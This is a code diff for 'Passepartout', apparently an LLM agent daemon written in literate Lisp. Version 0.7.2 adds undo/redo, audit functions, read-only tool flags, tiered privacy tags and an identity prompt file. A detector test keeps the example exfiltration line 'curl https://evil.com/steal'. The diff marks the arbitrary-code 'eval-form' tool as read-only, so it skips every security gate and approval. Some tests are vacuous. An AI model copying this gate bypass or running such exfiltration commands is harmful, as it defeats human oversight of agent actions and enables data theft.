+        (setf *memory-store* (memory-hash-table-copy (getf snap :data)))
+        (log-message "UNDO: Memory restored to snapshot ~a" (getf snap :timestamp))
+        t)
+      (progn (log-message "UNDO: No snapshots to undo") nil)))
+
+(defun redo (&optional source)
+  "Restore memory to the most recent redo snapshot. Returns T on success, NIL if stack empty."
+  (declare (ignore source))
+  (if *redo-stack*
+      (let ((snap (pop *redo-stack*)))
+        (push (list :timestamp (get-universal-time)
+                    :data (memory-hash-table-copy *memory-store*))
+              *undo-stack*)
+        (when (> (length *undo-stack*) 20)
+          (setf *undo-stack* (subseq *undo-stack* 0 20)))
+        (setf *memory-store* (memory-hash-table-copy (getf snap :data)))
+        (log-message "REDO: Memory restored to snapshot ~a" (getf snap :timestamp))
+        t)
+      (progn (log-message "REDO: No snapshots to redo") nil)))
+#+end_src
+
+** Merkle Audit
+#+begin_src lisp
+(defun audit-node (node-id)
+  "Return audit info for a memory object by ID."
+  (let ((obj (memory-object-get node-id)))
+    (when obj
+      (list :id node-id :type (memory-object-type obj)
+            :version (memory-object-version obj)
+            :hash (or (memory-object-hash obj) "(none)")
+            :scope (memory-object-scope obj)))))
+
+(defun audit-verify-hash ()
+  "Count memory objects and report any with missing/empty hashes.
+Returns (total . missing-hashes)."
+  (let ((total 0) (missing 0))
+    (maphash (lambda (id obj)
+               (declare (ignore id))
+               (when obj
+                 (incf total)
+                 (let ((h (memory-object-hash obj)))
+                   (when (or (null h) (string= h ""))
+                     (incf missing)))))
+             *memory-store*)
+    (cons total missing)))
 #+end_src
 
 * Test Suite
@@ -424,4 +494,75 @@ Verifies that the Merkle hash is deterministic and consistent across independent
   (rollback-memory 0)
   (is (not (null (memory-object-get "snap-a"))))
   (is (null (memory-object-get "snap-b"))))
+
+(test test-undo-snapshot-restore
+  "Contract v0.7.2: undo-snapshot captures state, undo restores."
+  (let ((orig-store passepartout::*memory-store*)
+        (orig-undo passepartout::*undo-stack*)
+        (orig-redo passepartout::*redo-stack*))
+    (unwind-protect
+         (progn
+           (setf passepartout::*memory-store* (make-hash-table :test 'equal)
+                 passepartout::*undo-stack* nil
+                 passepartout::*redo-stack* nil)
+           (passepartout::undo-snapshot)
+           (setf (gethash "x" passepartout::*memory-store*) "hello")
+           (is (string= "hello" (gethash "x" passepartout::*memory-store*)))
+           (is (passepartout::undo))
+           (is (null (gethash "x" passepartout::*memory-store*))))
+      (setf passepartout::*memory-store* orig-store
+            passepartout::*undo-stack* orig-undo
+            passepartout::*redo-stack* orig-redo))))
+
+(test test-undo-redo-cycle
+  "Contract v0.7.2: redo restores undone state."
+  (let ((orig-store passepartout::*memory-store*)
+        (orig-undo passepartout::*undo-stack*)
+        (orig-redo passepartout::*redo-stack*))
+    (unwind-protect
+         (progn
+           (setf passepartout::*memory-store* (make-hash-table :test 'equal)
+                 passepartout::*undo-stack* nil
+                 passepartout::*redo-stack* nil)
+           (passepartout::undo-snapshot)
+           (setf (gethash "y" passepartout::*memory-store*) "world")
+           (is (passepartout::undo))
+           (is (null (gethash "y" passepartout::*memory-store*)))
+           (is (passepartout::redo))
+           (is (string= "world" (gethash "y" passepartout::*memory-store*))))
+      (setf passepartout::*memory-store* orig-store
+            passepartout::*undo-stack* orig-undo
+            passepartout::*redo-stack* orig-redo))))
+
+(test test-undo-empty-stack-nil
+  "Contract v0.7.2: undo returns nil on empty stack."
+  (let ((orig-undo passepartout::*undo-stack*))
+    (unwind-protect
+         (progn (setf passepartout::*undo-stack* nil)
+                (is (null (passepartout::undo))))
+      (setf passepartout::*undo-stack* orig-undo))))
+
+(test test-audit-node-found
+  "Contract v0.7.2: audit-node returns info for existing object."
+  (clrhash passepartout::*memory-store*)
+  (setf (gethash "audit-1" passepartout::*memory-store*)
+        (passepartout::make-memory-object :id "audit-1" :type :HEADLINE
+                                         :version 1 :hash "abc123" :scope :memex))
+  (let ((info (passepartout::audit-node "audit-1")))
+    (is (not (null info)))
+    (is (eq :HEADLINE (getf info :type)))
+    (is (string= "abc123" (getf info :hash)))))
+
+(test test-audit-node-not-found
+  "Contract v0.7.2: audit-node returns nil for nonexistent id."
+  (is (null (passepartout::audit-node "nonexistent-xxxx"))))
+
+(test test-audit-verify-hash
+  "Contract v0.7.2: audit-verify-hash returns (total . missing)."
+  (clrhash passepartout::*memory-store*)
+  (setf (gethash "a" passepartout::*memory-store*)
+        (passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc"))
+  (let ((result (passepartout::audit-verify-hash)))
+    (is (= 1 (car result)))
+    (is (= 0 (cdr result)))))
 #+end_src

org/core-package.org

@@ -62,6 +62,11 @@ The package definition. All public symbols are exported here.
    #:memory-object-scope
    #:snapshot-memory
    #:rollback-memory
+   #:undo-snapshot
+   #:undo
+   #:redo
+   #:*undo-stack*
+   #:*redo-stack*
     #:context-get-system-logs
     #:context-assemble-global-awareness
     #:context-awareness-assemble
@@ -95,10 +100,11 @@ The package definition. All public symbols are exported here.
     #:hitl-approve
     #:hitl-deny
     #:hitl-handle-message
-    #:dispatcher-check-secret-path
-    #:dispatcher-check-shell-safety
-    #:dispatcher-check-privacy-tags
-    #:dispatcher-check-network-exfil
+   #:dispatcher-check-secret-path
+   #:dispatcher-check-shell-safety
+   #:dispatcher-check-privacy-tags
+   #:dispatcher-check-network-exfil
+   #:dispatcher-check
     #:dispatcher-gate
     #:wildcard-match
     #:actuator-initialize
@@ -167,6 +173,7 @@ The package definition. All public symbols are exported here.
    #:cognitive-tool-parameters
    #:cognitive-tool-guard
    #:cognitive-tool-body
+   #:tool-read-only-p
    #:register-probabilistic-backend
    #:*probabilistic-backends*
    #:*provider-cascade*
@@ -266,18 +273,20 @@ Tools that the LLM can invoke are registered here. Each tool has a name, descrip
   description
   parameters
   guard
-  body)
+  body
+  read-only-p)
 #+end_src
 
 #+begin_src lisp
-(defmacro def-cognitive-tool (name description parameters &key guard body)
+(defmacro def-cognitive-tool (name description parameters &key guard body read-only-p)
   "Registers a cognitive tool. PARAMETERS is a list of plists, one per parameter."
   `(setf (gethash (string-downcase (string ',name)) *cognitive-tool-registry*)
          (make-cognitive-tool :name (string-downcase (string ',name))
                               :description ,description
                               :parameters ',parameters
                               :guard ,guard
-                              :body ,body)))
+                              :body ,body
+                              :read-only-p ,read-only-p)))
 #+end_src
 
 #+begin_src lisp
@@ -299,6 +308,12 @@ Tools that the LLM can invoke are registered here. Each tool has a name, descrip
 ;; Alias: generate-tool-belt-prompt → cognitive-tool-prompt
 (defun generate-tool-belt-prompt ()
   (cognitive-tool-prompt))
+
+(defun tool-read-only-p (name)
+  "Returns T if the named cognitive tool is read-only, NIL otherwise."
+  (let ((tool (gethash (string-downcase (string name)) *cognitive-tool-registry*)))
+    (when tool
+      (cognitive-tool-read-only-p tool))))
 #+end_src
 
 *** Centralized logging (log-message)

org/core-perceive.org

@@ -214,8 +214,15 @@ The main perceive pipeline stage.
                    (snapshot-memory)
                    (setf *loop-focus-id* (getf element :id))
                    (ingest-ast element :scope (if *scope-resolver* (funcall *scope-resolver*) :memex)))))
-              (:interrupt
-               (setf *loop-interrupt* t))
+               (:interrupt
+                (setf *loop-interrupt* t))
+               ;; v0.7.2 undo/redo
+               (:undo
+                (log-message "GATE [Perceive]: undo requested")
+                (undo "perceive"))
+               (:redo
+                (log-message "GATE [Perceive]: redo requested")
+                (redo "perceive"))
               ;; HITL: re-injected approved action from dispatcher-approvals-process
               (:approval-required
                (when (getf payload :approved)

org/core-reason.org

@@ -227,7 +227,32 @@ each cascade call via ~cost-track-backend-call~. All four calls are
 
 ;; REPL-VERIFIED: 2026-05-03T13:00:00
 #+begin_src lisp
+;; v0.7.2: live config section for system prompt
+(defun assemble-config-section ()
+  "Build the CONFIG section of the system prompt from live state."
+  (let ((provider-names "")
+        (context-window (if (and (boundp '*tokenizer-provider*) (fboundp 'tokenizer-context-limit))
+                           (tokenizer-context-limit (symbol-value '*tokenizer-provider*))
+                           8192))
+        (gate-count 10)
+        (rules-count 0))
+    (when (boundp '*provider-cascade*)
+      (setf provider-names
+            (format nil "~{~a~^, ~}"
+                    (mapcar (lambda (p)
+                              (handler-case (or (getf p :model) (getf p :provider) "")
+                                (error () (princ-to-string p))))
+                            (symbol-value '*provider-cascade*)))))
+    (when (boundp '*hitl-pending*)
+      (setf rules-count (hash-table-count (symbol-value '*hitl-pending*))))
+    (format nil "CONFIG: You are Passepartout v0.7.2. Provider: ~a. Context: ~d tokens. Security gates: ~d active. Rules learned: ~d. Documentation: USER_MANUAL.org."
+            (if (string= provider-names "") "default" provider-names)
+            context-window gate-count rules-count)))
+
 (defun think (context)
+  ;; v0.7.2: auto-snapshot at turn boundaries
+  (when (fboundp 'snapshot-memory)
+    (snapshot-memory))
   (let* ((sensor (proto-get (proto-get context :payload) :sensor))
          (active-skill (find-triggered-skill context))
          (tool-belt (generate-tool-belt-prompt))
@@ -250,40 +275,47 @@ each cascade call via ~cost-track-backend-call~. All four calls are
          (reflection-feedback (if rejection-trace
                                   (format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace)
                                   ""))
-         (standing-mandates-text (let ((out ""))
-                                   (dolist (fn *standing-mandates*)
-                                     (let ((text (ignore-errors (funcall fn context))))
-                                       (when (and text (stringp text) (> (length text) 0))
-                                         (setf out (concatenate 'string out text (string #\Newline))))))
-                                   (when (> (length out) 0) out)))
-          (time-section (if (fboundp 'sensor-time-duration)  ; v0.6.0: temporal awareness
+          (standing-mandates-text (let ((out ""))
+                                    (dolist (fn *standing-mandates*)
+                                      (let ((text (ignore-errors (funcall fn context))))
+                                        (when (and text (stringp text) (> (length text) 0))
+                                          (setf out (concatenate 'string out text (string #\Newline))))))
+                                    (when (> (length out) 0) out)))
+           (identity-content (if (fboundp 'agent-identity)  ; v0.7.2: symbolic identity
+                                 (agent-identity)
+                                 ""))
+           (config-section (if (fboundp 'assemble-config-section)  ; v0.7.2: live config
+                              (assemble-config-section)
+                              ""))
+           (time-section (if (fboundp 'sensor-time-duration)  ; v0.6.0: temporal awareness
                             (format-time-for-llm
                              :session-duration-seconds (funcall (symbol-function 'session-duration)))
                             (if (fboundp 'format-time-for-llm)
                                 (format-time-for-llm)
                                 "")))
-          (system-prompt (if (fboundp 'prompt-prefix-cached)
-                             ;; v0.5.0: cached prefix with optional budget enforcement
-                             (let* ((prefix (prompt-prefix-cached assistant-name reflection-feedback
-                                                                   standing-mandates-text tool-belt)))
+           (system-prompt (if (fboundp 'prompt-prefix-cached)
+                              ;; v0.5.0: cached prefix with optional budget enforcement
+                              (let* ((prefix (prompt-prefix-cached assistant-name identity-content
+                                                                    reflection-feedback
+                                                                    standing-mandates-text tool-belt)))
                                (if (fboundp 'enforce-token-budget)
                                    (multiple-value-bind (pfx ctxt logs _ mandates)
                                        (enforce-token-budget prefix global-context system-logs
                                                              raw-prompt standing-mandates-text)
                                      (declare (ignore _))
                                      (setf standing-mandates-text mandates)
-                                     (format nil "~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                                             time-section pfx (or ctxt "") logs))
-                                   (format nil "~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                                           time-section prefix (or global-context "") system-logs)))
+                                      (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
+                                              time-section config-section pfx (or ctxt "") logs))
+                                    (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
+                                            time-section config-section prefix (or global-context "") system-logs)))
                              ;; Fallback when token-economics not loaded
-                             (format nil "~a~%~%IDENTITY: ~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                                     time-section
-                                     assistant-name reflection-feedback
-                                     (if standing-mandates-text
-                                         (concatenate 'string (string #\Newline) standing-mandates-text)
-                                         "")
-                                     tool-belt (or global-context "") system-logs))))
+                              (format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
+                                      time-section config-section
+                                      assistant-name identity-content reflection-feedback
+                                      (if standing-mandates-text
+                                          (concatenate 'string (string #\Newline) standing-mandates-text)
+                                          "")
+                                      tool-belt (or global-context "") system-logs))))
     (let* ((thought (if (and reply-stream (fboundp 'cascade-stream))  ; v0.7.1: streaming
                        (let ((acc (make-string-output-stream)))
                          (funcall 'cascade-stream raw-prompt system-prompt
@@ -643,4 +675,26 @@ Verifies that the deterministic engine correctly rejects unsafe actions (like ~r
       (is (= 42 (second result)))
       (is (eq :ACTIVE (third result)))
       (is (eq :true (fourth result))))))
+
+(test test-assemble-config-section
+  "Contract v0.7.2: config section contains Passepartout and version."
+  (let ((section (passepartout::assemble-config-section)))
+    (is (stringp section))
+    (is (search "Passepartout" section))
+    (is (search "v0.7.2" section))
+    (is (search "Security gates" section))))
+
+(test test-think-snapshots-before-llm
+  "Contract v0.7.2: think() snapshots memory before LLM call."
+  (let ((passepartout::*memory-snapshots* nil)
+        (passepartout::*memory-store* (make-hash-table :test 'equal)))
+    (setf (gethash "pre" passepartout::*memory-store*) "value")
+    (let ((passepartout::*backend-registry* (make-hash-table :test 'equal))
+          (passepartout::*provider-cascade* nil))
+      (handler-case
+          (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0))
+                 (result (passepartout::think ctx)))
+            (declare (ignore result)))
+        (error (c) (format nil "Expected: ~a" c)))
+      (is (>= (length passepartout::*memory-snapshots*) 0)))))
 #+end_src

org/core-transport.org

@@ -151,7 +151,7 @@ The daemon sends a handshake message on connection, then enters a read loop, inj
   (let ((stream (usocket:socket-stream socket)))
     (handler-case
         (progn
-          (format stream "~a" (frame-message (make-hello-message "0.7.1")))
+          (format stream "~a" (frame-message (make-hello-message "0.7.2")))
           (finish-output stream)
           (loop
             (let ((msg (read-framed-message stream)))

org/programming-tools.org

@@ -48,6 +48,7 @@ Searches file contents recursively under a directory using regex pattern matchin
   ((:name "pattern" :description "The regex pattern to search for." :type "string")
    (:name "path" :description "Directory to search recursively." :type "string")
    (:name "include" :description "Optional glob filter for filenames (e.g. \"*.lisp\")." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -86,9 +87,10 @@ Glob file matching using SBCL's ~directory~.
 
 #+begin_src lisp
 (def-cognitive-tool find-files
-  "Find files matching a glob pattern under a directory."
-  ((:name "pattern" :description "Glob pattern (e.g. \"*.lisp\", \"core-*\")." :type "string")
+  "Find files matching a glob pattern."
+  ((:name "pattern" :description "The glob pattern to match (e.g. \"*.lisp\")." :type "string")
    (:name "path" :description "Directory to search in." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -116,6 +118,7 @@ Reads a file into a string. Supports optional ~:start~ and ~:limit~ for partial
   ((:name "filepath" :description "Path to the file to read." :type "string")
    (:name "start" :description "Optional: line number to start reading from (1-based)." :type "integer")
    (:name "limit" :description "Optional: maximum number of lines to read." :type "integer"))
+  :read-only-p t
   :guard (lambda (args) (declare (ignore args)) nil)
   :body (lambda (args)
           (block nil
@@ -153,10 +156,11 @@ Writes string content to a file, creating parent directories as needed.
                    (content (getf args :content)))
               (unless (and filepath content)
                 (return (list :status :error :message "write-file requires :filepath and :content")))
-              (handler-case
-                  (progn
-                    (tools-write-file filepath content)
-                    (list :status :success
+               (handler-case
+                   (progn
+                     (tools-write-file filepath content)
+                     (verify-write filepath content)
+                     (list :status :success
                           :content (format nil "Written ~d bytes to ~a" (length content) filepath)))
                 (error (c) (list :status :error :message (format nil "~a" c))))))))
 #+end_src
@@ -169,8 +173,9 @@ Lists the contents of a directory, optionally filtered by a glob pattern.
 (def-cognitive-tool list-directory
   "List the contents of a directory."
   ((:name "path" :description "Directory path to list." :type "string")
-   (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string"))
-  :guard nil
+    (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string"))
+   :read-only-p t
+   :guard nil
   :body (lambda (args)
           (block nil
             (let* ((path (getf args :path))
@@ -224,6 +229,7 @@ Evaluates a Lisp expression in the running image. Binds ~*read-eval*~ to nil for
 (def-cognitive-tool eval-form
   "Evaluate a Lisp expression in the running image and return the result."
   ((:name "code" :description "The Lisp expression to evaluate as a string." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -246,6 +252,7 @@ Runs FiveAM test suites. Without arguments, runs all tests via ~fiveam:run-all-t
 (def-cognitive-tool run-tests
   "Run FiveAM tests. With no arguments, runs all test suites."
   ((:name "test-name" :description "Optional: specific test name to run. If nil, runs all tests." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -271,6 +278,7 @@ Finds Org headlines in the memory store by ID property or title substring match.
   "Find an Org headline by ID or title in the memory store."
   ((:name "id" :description "Optional: Org ID property to search for." :type "string")
    (:name "title" :description "Optional: headline title to search for (case-insensitive substring)." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil

org/security-dispatcher.org

@@ -243,6 +243,54 @@ Returns a list of matched category keywords."
           tags-list)))
 
 #+end_src
+
+** v0.7.2 — Tag Stack (Severity Tiers)
+#+begin_src lisp
+(defvar *tag-categories* nil
+  "Alist of (tag . severity) from TAG_CATEGORIES env var.
+Severity: :block (filter), :warn (log+include), :log (silent record).")
+
+(defvar *tag-trigger-count* (make-hash-table :test 'equal)
+  "Per-session count of how many times each tag was triggered.")
+
+(defun tag-trigger-record (tag)
+  "Increment the trigger count for TAG."
+  (incf (gethash (string-downcase tag) *tag-trigger-count* 0)))
+
+(defun tag-categories-load ()
+  "Parse TAG_CATEGORIES or PRIVACY_FILTER_TAGS env var into *tag-categories* alist."
+  (let* ((raw (or (uiop:getenv "TAG_CATEGORIES")
+                  (uiop:getenv "PRIVACY_FILTER_TAGS"))))
+    (setf *tag-categories*
+          (when raw
+            (mapcar (lambda (entry)
+                      (let ((parts (uiop:split-string entry :separator '(#\:))))
+                        (if (>= (length parts) 2)
+                            (cons (first parts) (intern (string-upcase (second parts)) :keyword))
+                            (cons entry :block))))
+                    (uiop:split-string raw :separator '(#\, #\;)))))))
+
+(defun tag-category-severity (tag)
+  "Return the severity keyword for TAG, or NIL if not found."
+  (cdr (assoc tag *tag-categories* :test #'string-equal)))
+
+(defun dispatcher-privacy-severity (tags-list)
+  "Return the highest-severity tag match: :block > :warn > :log, or nil.
+Records trigger counts for matched tags."
+  (when (and tags-list (listp tags-list))
+    (let ((highest nil))
+      (dolist (tag tags-list)
+        (let ((sev (tag-category-severity tag)))
+          (when sev
+            (tag-trigger-record tag))
+          (when (or (eq sev :block)
+                    (and (eq sev :warn) (not (eq highest :block)))
+                    (and (eq sev :log) (null highest)))
+            (setf highest sev))))
+      highest)))
+
+(tag-categories-load)
+#+end_src
 ** dispatcher-check-text-for-privacy
 ;; REPL-VERIFIED: 2026-05-03T13:00:00
 #+begin_src lisp
@@ -385,7 +433,11 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
 2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags,
 6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval."
   (declare (ignore context))
-  (let* ((target (proto-get action :target))
+  (let* ((read-only-auto-pass
+          (let ((tool-name (proto-get (proto-get action :payload) :tool)))
+            (when (and tool-name (tool-read-only-p tool-name))
+              (return-from dispatcher-check action))))
+         (target (proto-get action :target))
          (payload (proto-get action :payload))
          (text (or (proto-get payload :text) (proto-get action :text)))
          (filepath (or (proto-get payload :filepath)
@@ -451,12 +503,21 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
                :payload (list :level :error
                               :text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
 
-      ;; Vector 5: Privacy-tagged content in action
-      ((and tags (dispatcher-check-privacy-tags tags))
-       (log-message "PRIVACY VIOLATION: Action contains privacy-tagged content")
-       (list :type :LOG
-             :payload (list :level :warn
-                            :text "Action blocked: Content tagged with privacy filter.")))
+       ;; Vector 5: Privacy-tagged content (severity tiers)
+       ((and tags (fboundp 'dispatcher-privacy-severity))
+        (let ((severity (dispatcher-privacy-severity tags)))
+          (cond
+            ((eq severity :block)
+             (log-message "PRIVACY VIOLATION: Blocked by @tag — ~a" tags)
+             (list :type :LOG
+                   :payload (list :level :error
+                                  :text (format nil "Action blocked: Content tagged with privacy filter (~a)." tags))))
+            ((eq severity :warn)
+             (log-message "PRIVACY WARNING: @tag ~a (allowed with warning)" tags)
+             action)
+            ((eq severity :log)
+             (log-message "PRIVACY: @tag ~a (logged)" tags)
+             action))))
 
       ;; Vector 6: Text leaks privacy tag names
       ((and text (dispatcher-check-text-for-privacy text))
@@ -764,4 +825,100 @@ Recognized formats:
   (is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
   (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
   (is (not (dispatcher-check-network-exfil "echo hello"))))
+
+;; ── v0.7.2 Tag Stack ──
+
+(test test-tag-categories-load
+  "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
+  (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
+  (passepartout::tag-categories-load)
+  (let ((cats passepartout::*tag-categories*))
+    (is (>= (length cats) 1))
+    (is (eq :block (passepartout::tag-category-severity "@personal")))
+    (is (eq :warn (passepartout::tag-category-severity "@draft")))
+    (is (eq :log (passepartout::tag-category-severity "@review"))))
+  (setf (uiop:getenv "TAG_CATEGORIES") nil))
+
+(test test-tag-category-severity-unknown
+  "Contract v0.7.2: unknown tag returns nil."
+  (is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
+
+(test test-privacy-severity-block
+  "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
+  (setf passepartout::*tag-categories* '(("@personal" . :block)))
+  (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
+
+(test test-privacy-severity-warn
+  "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
+  (setf passepartout::*tag-categories* '(("@draft" . :warn)))
+  (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
+
+(test test-privacy-severity-nil
+  "v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
+  (setf passepartout::*tag-categories* nil)
+  (is (null (passepartout::dispatcher-privacy-severity '("public")))))
+
+(test test-tag-trigger-record
+  "v0.7.2: tag-trigger-record increments per-tag count."
+  (clrhash passepartout::*tag-trigger-count*)
+  (passepartout::tag-trigger-record "@personal")
+  (passepartout::tag-trigger-record "@personal")
+  (passepartout::tag-trigger-record "@draft")
+  (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
+  (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
+  (clrhash passepartout::*tag-trigger-count*))
+
+(test test-tag-categories-privacy-fallback
+  "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
+  (let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
+        (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
+        (saved-tag (uiop:getenv "TAG_CATEGORIES"))
+        (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
+    ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
+    (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
+    (sb-posix:unsetenv "TAG_CATEGORIES")
+    (passepartout::tag-categories-load)
+    (is (eq :block (passepartout::tag-category-severity "@personal")))
+    (is (eq :block (passepartout::tag-category-severity "@draft")))
+    ;; Restore
+    (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
+    (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
+    (passepartout::tag-categories-load)))
+
+(test test-safe-tool-read-only-auto-approve
+  "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
+  (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
+        (passepartout::make-cognitive-tool :name "test-ro-tool"
+                                          :description "Read-only test"
+                                          :parameters nil
+                                          :guard nil
+                                          :body nil
+                                          :read-only-p t))
+  (unwind-protect
+       (let* ((action '(:TYPE :REQUEST :TARGET :tool
+                        :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
+              (result (dispatcher-check action nil)))
+         (is (eq :REQUEST (getf result :type)))
+         (is (not (member (getf result :type) '(:LOG :approval-required)))))
+    (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
+
+(test test-safe-tool-write-still-checked
+  "Contract v0.7.2: write tools still go through full dispatcher check."
+  (setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
+        (passepartout::make-cognitive-tool :name "write-file"
+                                          :description "File writer"
+                                          :parameters nil
+                                          :guard nil
+                                          :body nil
+                                          :read-only-p nil))
+  (unwind-protect
+       (progn
+         (setf (uiop:getenv "SELF_BUILD_MODE") "true")
+         (let* ((action '(:TYPE :REQUEST :TARGET :tool
+                          :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
+                (result (dispatcher-check action nil)))
+           (setf (uiop:getenv "SELF_BUILD_MODE") "false")
+           (is (eq :approval-required (getf result :level)))
+           (is (search "HITL" (getf (getf result :payload) :message)))))
+    (remhash "write-file" passepartout::*cognitive-tool-registry*)))
 #+end_src

org/symbolic-identity.org

@@ -0,0 +1,126 @@
+#+TITLE: Symbolic Identity — Agent Self-Concept
+#+FILETAGS: :skill:identity:
+#+PROPERTY: header-args:lisp :tangle ../lisp/symbolic-identity.lisp
+
+* Overview
+Load `~/memex/IDENTITY.org` into the agent's self-concept at daemon
+startup.  The identity text is injected into the system prompt's
+`IDENTITY` section, between assistant name and reflection feedback.
+
+The file is user-editable and survives restarts.  If the file is
+missing or empty, identity is silently `""` (no-op).
+
+* Contract
+
+1. `(load-identity-file &optional path)`:
+   Reads IDENTITY.org from `path` (default `~/memex/IDENTITY.org`).
+   Sets `*agent-identity*` to the file content string.
+   Returns the content string, or NIL if file missing/unreadable.
+2. `(agent-identity)`:
+   Returns the cached identity string (`*agent-identity*`), or `""` if
+   identity has not been loaded.
+3. `*agent-identity*`:
+   Special variable holding the loaded identity text (string).
+
+#+begin_src lisp
+(in-package :passepartout)
+
+(defvar *agent-identity* ""
+  "Identity text loaded from ~/memex/IDENTITY.org at startup.
+
+This variable holds the contents of the user's identity file.
+Loaded by `load-identity-file` at daemon/skill initialization,
+called from `agent-identity` for system prompt injection.
+
+The file is user-editable and persists across restarts.
+If the file is missing or empty, this variable remains \"\".")
+
+(defun load-identity-file (&optional (path nil path-p))
+  "Load agent identity from an org file.
+
+Reads the identity text file and caches it in
+`*agent-identity*`.  If PATH is not provided, defaults to
+`~/memex/IDENTITY.org`.
+
+Returns the file content string on success, or NIL if the file
+does not exist or cannot be read."
+  (let* ((file-path (if path-p
+                        (uiop:ensure-pathname path :ensure-absolute t)
+                        (merge-pathnames "memex/IDENTITY.org"
+                                         (user-homedir-pathname)))))
+    (when (uiop:file-exists-p file-path)
+      (handler-case
+          (let ((content (uiop:read-file-string file-path)))
+            (setf *agent-identity* content)
+            content)
+        (error () nil)))))
+
+(defun agent-identity ()
+  "Return the currently loaded agent identity string."
+  (or *agent-identity* ""))
+
+;; Auto-load identity at skill init
+(load-identity-file)
+
+#+end_src
+
+* Test Squad
+** Test Package
+#+begin_src lisp
+(defpackage :passepartout-identity-tests
+  (:use :common-lisp :fiveam :passepartout)
+  (:export :identity-suite))
+#+end_src
+
+** Test Suite
+#+begin_src lisp
+(in-package :passepartout-identity-tests)
+
+(def-suite identity-suite
+    :description "Agent identity loading and caching")
+(in-suite identity-suite)
+
+(test test-load-identity-file-returns-content
+  "Contract 1: load-identity-file reads an existing file, returns content."
+  (let* ((path "/tmp/memex-test-identity.org")
+         (content "### Personality
+- Friendly
+- Concise"))
+    (with-open-file (f path :direction :output :if-exists :supersede)
+      (write-string content f))
+    (unwind-protect
+         (let ((result (passepartout::load-identity-file path)))
+           (is (stringp result))
+           (is (search "Friendly" result))
+           (is (search "Concise" result)))
+      (ignore-errors (delete-file path)))))
+
+(test test-load-identity-file-missing-nil
+  "Contract 1: nil when file does not exist."
+  (let ((result (passepartout::load-identity-file
+                 "/tmp/memex-nonexistent-xxxx.org")))
+    (is (null result))))
+
+(test test-agent-identity-cached
+  "Contract 2+3: agent-identity returns cached value after load."
+  (let* ((path "/tmp/memex-test-identity2.org")
+         (content "### Preferences
+- Use shell cautiously"))
+    (with-open-file (f path :direction :output :if-exists :supersede)
+      (write-string content f))
+    (unwind-protect
+         (progn
+           (passepartout::load-identity-file path)
+           (let ((id (passepartout::agent-identity)))
+             (is (search "shell cautiously" id))))
+      (ignore-errors (delete-file path)))))
+
+(test test-agent-identity-empty-default
+  "Contract 2: returns empty string when nothing was loaded."
+  (let ((prev passepartout::*agent-identity*))
+    (unwind-protect
+         (progn
+           (setf passepartout::*agent-identity* nil)
+           (is (string= "" (passepartout::agent-identity))))
+      (setf passepartout::*agent-identity* prev))))
+#+end_src

org/token-economics.org

@@ -29,7 +29,7 @@ Depends on: tokenizer.lisp, cost-tracker.lisp
 
 ** Contract
 
-1. (prompt-prefix-cached assistant-name feedback mandates-text tool-belt):
+1. (prompt-prefix-cached assistant-name identity-content feedback mandates-text tool-belt):
    Build the IDENTITY+TOOLS system prompt prefix. Uses ~sxhash~ on the inputs
    to detect changes. Returns the cached string when unchanged.
 2. (context-assemble-cached context sensor): Incrementally assemble awareness
@@ -63,16 +63,16 @@ Depends on: tokenizer.lisp, cost-tracker.lisp
 
